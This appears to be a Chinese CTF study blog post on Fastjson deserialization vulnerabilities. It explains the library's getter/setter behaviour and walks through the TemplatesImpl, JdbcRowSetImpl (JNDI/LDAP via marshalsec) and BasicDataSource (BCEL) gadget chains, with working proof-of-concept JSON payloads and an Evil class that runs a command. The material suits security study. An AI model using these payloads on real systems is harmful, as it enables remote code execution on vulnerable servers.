到了喜闻乐见的Fastjson。
前言
Fastjson 是阿里巴巴的开源 JSON 解析库,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。顾名思义,FastJson的特点就是快。
先从最简单的用法说起吧。
Basic Usage
依赖用的1.2.23
1 2 3 4 5
| <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.23</version> </dependency>
|
POJO => JSON
参数设置:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| package com.eddiemurphy;
public class Person { public String name; public Integer age;
public String getName() { System.out.println("getName"); return name; }
public void setName(String name) { System.out.println("setName"); this.name = name; }
public Integer getAge() { System.out.println("getAge"); return age; }
public void setAge(Integer age) { System.out.println("setAge"); this.age = age; }
public Person(String name, Integer age) { this.name = name; this.age = age; }
public Person(){ System.out.println("Non-Arg Constructor"); }
@Override public String toString() { return "I am " + this.name + " and " + this.age + " years old"; } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.serializer.SerializerFeature; import org.example.Person;
public class Test { public static void main(String[] args) { Person person1 = new Person("Tom", 18); String str1 = JSON.toJSONString((person1)); System.out.println(str1);
Person person2 = new Person("Lisa", 20); String str2 = JSONObject.toJSONString(person2, SerializerFeature.WriteClassName); System.out.println(str2); } }
|
getAge
getName
{“age”:18,”name”:”Tom”}
getAge
getName
{“@type”:”org.example.Person”,”age”:20,”name”:”Lisa”}
JSON => POJO
参数设置:
- Feature.SupportNonPublicField 反序列化时,加上该参数才能还原private属性
1 2 3 4 5 6 7 8 9 10
| import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import org.example.Person;
public class Test { public static void main(String[] args) { Person person = JSON.parseObject("{\"@type\":\"org.example.Person\",\"age\":20,\"name\":\"Lisa\"}", Person.class, Feature.SupportNonPublicField); System.out.println(person); } }
|
Non-Arg Constructor
setAge
setName
I am Lisa and 20 years old
parse vs parseObject
1 2 3 4 5 6 7 8 9 10 11
| import com.alibaba.fastjson.JSON;
public class Test { public static void main(String[] args) { String s = "{\"@type\":\"org.example.Person\",\"age\":20,\"name\":\"Lisa\"}"; Object obj1 = JSON.parse(s); System.out.println(obj1); Object obj2 = JSON.parseObject(s); System.out.println(obj2); } }
|
Non-Arg Constructor
setAge
setName
I am Lisa and 20 years old
Non-Arg Constructor
setAge
setName
getAge
getName
{“name”:”Lisa”,”age”:20}
可以看到JSON.parseObject()
的打印结果和我们定义的toString()
不同,说明它不是Person对象。(实际上得到的是JSONObject类对象)
结论:
- parse()会识别并调用目标类的setter方法
- parseObject()会触发目标类的getter和setter方法
因此若能找到一个类、在反序列化这个类对象时,fastjson调用其setter或getter方法,且setter或getter方法存在漏洞,就可以执行恶意代码。
下面再列举一些FastJson的结论,在后续调试中可以观察得到:
JSON.parse(jsonString)
和 JSON.parseObject(jsonString, Target.class)
,前者会在 jsonString 中解析字符串获取 @type
指定的类,后者则会直接使用参数中的class。
JSON.parseObject(jsonString)
将会返回 JSONObject 对象,且类中的所有 getter 与 setter 都被调用。
- 如果目标类中私有变量没有 setter 方法,但是在反序列化时仍想给这个变量赋值,则需要使用
Feature.SupportNonPublicField
参数。
- fastjson 在反序列化时,如果 Field 类型为
byte[]
,将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue
进行 base64 解码,对应的,在序列化时也会进行 base64 编码。
- fastjson 在为类属性寻找 get/set 方法时,调用函数
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()
方法,会忽略 _ | -
字符串,假如字段名叫 _a_g_e_
,getter 方法为 getAge()
,fastjson 也可以找得到。
配置类:
com.alibaba.fastjson.parser.ParserConfig
:后面的AutoType开关和黑名单体现在这个类中
满足条件的setter:
- 函数名大于等于4
- 非静态函数
- 以set开头且第4个字母为大写
- 返回类型为void或当前类
- 参数个数为1个
满足条件的getter
- 函数名长度大于等于4
- 非静态方法
- 以get开头且第4个字母为大写
- 无参数
- 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger
TemplatesImpl
在前面的动态字节码那里提到过:
1 2
| com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中定义了一个内部类 TransletClassLoader
|
存在作用域为default
的方法defineClass
找到如下调用链:
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| public synchronized Properties getOutputProperties() { try { return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null; } }
public synchronized Transformer newTransformer(){ TransformerImpl transformer; transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory); }
private Translet getTransletInstance() { try { if (_name == null) return null; if (_class == null) defineTransletClasses(); } AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); }
private void defineTransletClasses() { TransletClassLoader loader = AccessController.doPrivileged(new PrivilegedAction<TransletClassLoader>() { public TransletClassLoader run() { return new TransletClassLoader(ObjectFactory.findClassLoader(), _tfactory.getExternalExtensionsMap()); } }); for (int i = 0; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i], pd); } }
|
defineTransletClasses
方法中_tfactory.getExternalExtensionsMap()
_tfactory
是TransformerFactoryImpl
类 为了不抛出异常需要_tfactory = new TransformerFactoryImpl()
getTransletInstance
方法中判断if (_name == null) return null;
所以要给_name
赋值(String)
TemplatesImpl
中对加载的字节码是有一定要求的:
这个字节码对应的类必须是**com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
的子类。**
1
| TemplatesImpl#getTransletInstance()首先执行 defineTransletClasses()加载类后,还会对该类进行实例化 (AbstractTranslet) _class[_transletIndex].newInstance();
|
而getOutputProperties()
正是TemplatesImpl
的_outputProperties
属性对应的getter方法。
由于更改的一些TemplatesImpl
私有变量没有 setter 方法,需要使用 Feature.SupportNonPublicField
参数。
PayLoad
1 2 3 4 5 6 7
| { "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes": ["evilCode after Base64"], "_name": "taco", "_tfactory": {}, "_outputProperties": {}, }
|
Evil.java:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Evil extends AbstractTranslet { public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } } public Evil() { } }
|
获取Base64编码后的Evil.class字节码:
1 2 3 4 5 6 7 8 9
| import javassist.ClassPool; import java.util.Base64;
public class getPayLoad { public static void main(String[] args) throws Exception { byte[] code = ClassPool.getDefault().get(Evil.class.getName()).toBytecode(); System.out.println(Base64.getEncoder().encodeToString(code)); } }
|
局限
需要 Feature.SupportNonPublicField
参数
JdbcRowSetImpl
上文的TemplatesImpl
链存在严重限制,即JSON.parse()
需要开启Feature.SupportNonPublicField
JdbcRowSetImpl
链是基于 JNDI+RMI 或 JDNI+LADP 进行攻击,会有一定的JDK版本限制。
RMI利用的JDK版本≤ JDK 6u132、7u122、8u113
LADP利用JDK版本≤ 6u211 、7u201、8u191
com.sun.rowset.JdbcRowSetImpl
1 2 3 4 5 6 7 8 9
| public void setAutoCommit(boolean var1) throws SQLException { if (this.conn != null) { this.conn.setAutoCommit(var1); } else { this.conn = this.connect(); this.conn = setAutoCommit(var1); } }
|
当conn == null
时,调用connect()
:
经典的(new InitialContext()).lookup()
,那么只要dataSourceName设为恶意远程RMI服务或ldap服务即可。
{
“@type”:”com.sun.rowset.JdbcRowSetImpl”,
“dataSourceName”:”ldap://127.0.0.1:8099/evil”,
“autoCommit”:true
}
可以利用marshalsec开启ldap服务:
1
| java -cp .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http:
|
BasicDataSource
fastjson网传的三条利用链如下:
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
com.sun.rowset.JdbcRowSetImpl
org.apache.tomcat.dbcp.dbcp2.BasicDataSource
前面两个已经介绍,现在还剩最后一个BasicDataSource
。
- 常规的Java字节码的执行,但是需要开启
Feature.SupportNonPublicField
,较鸡肋
- 利用JNDI注入,但需要服务器出网
- 不用出网也不用开启
Feature.SupportNonPublicField
- 依赖如下
1 2 3 4 5 6 7 8 9 10
| <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-dbcp</artifactId> <version>8.5.45</version> </dependency> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.23</version> </dependency>
|
调用链:
getConnection()->createDataSource()->createConnectionFactory()->createDriver()
Class.forName
第二个参数initial
为true时,类加载后将会直接执行static{}
块中的代码。
driverClassLoader
和driverClassName
都可以通过fastjson控制
{
{
“aaa”: {
“@type”: “org.apache.tomcat.dbcp.dbcp2.BasicDataSource”,
“driverClassLoader”: {
“@type”: “com.sun.org.apache.bcel.internal.util.ClassLoader”
},
“driverClassName”: “$$BCEL$$$l$8b$I$A$…”
}
}: “bbb”
}
实际上面的getConnection不满足fastjson对自动调用getter的要求,前面说过:
满足条件的getter:
- 函数名长度大于等于4
- 非静态方法
- 以get开头且第4个字母为大写
- 无参数
- 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger
在{"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource"……}
这一整段外面再套一层{}
,这样的话会把这个整体当做一个JSONObject,会把这个当做key,值为bbb
将这个 JSONObject 放在 JSON Key 的位置上,在 JSON 反序列化的时候,FastJson 会对 JSON Key 自动调用 toString() 方法(因为key一定要是String类型)
而且JSONObject是Map的子类,当调用toString
的时候,会依次调用该类的getter方法获取值。所以会调用到getConnection
方法。
当fastjson>=1.2.36的时候,可以使用$ref
方式调用getter。
ref是fastjson特有的JSONPath语法,用来引用之前出现的对象:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public class test { private String cmd;
public void setCmd(String cmd) { System.out.println("seter call"); this.cmd = cmd; }
public String getCmd() throws IOException { System.out.println("geter call"); Runtime.getRuntime().exec(cmd); return cmd; } }
|
ref_fastjson.java:
1 2 3 4 5 6 7
| public class ref_fastjson { public static void main(String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String payload = "[{\"@type\":\"com.demo.fastjson.test\",\"cmd\":\"calc\"},{\"$ref\":\"$[0].cmd\"}]"; JSON.parse(payload); } }
|
原生反序列化
来自Y4佬:
FastJson 与原生反序列化 (seebug.org)
FastJson与原生反序列化(二) (y4tacker.github.io)
后记
七七八八抄了一些,打比赛的时候遇到fastjson也挺多的,多学习学习。但fastjson也逐渐淡出视野了。
现在java8的题将要死去,出现更多的java11、java17,这都是新的挑战,因为涉及到全新的思路与方法。
现在我只不过是沿着前人的道路一步步筑基罢了。
Jackson跟fastjson很像,放在后面写。
以及最后附上su18大佬的,常看常新:
fastjson:我一路向北,离开有你的季节 | 素十八 (su18.org)
参考:
FastJson 🪁 | Java (gitbook.io)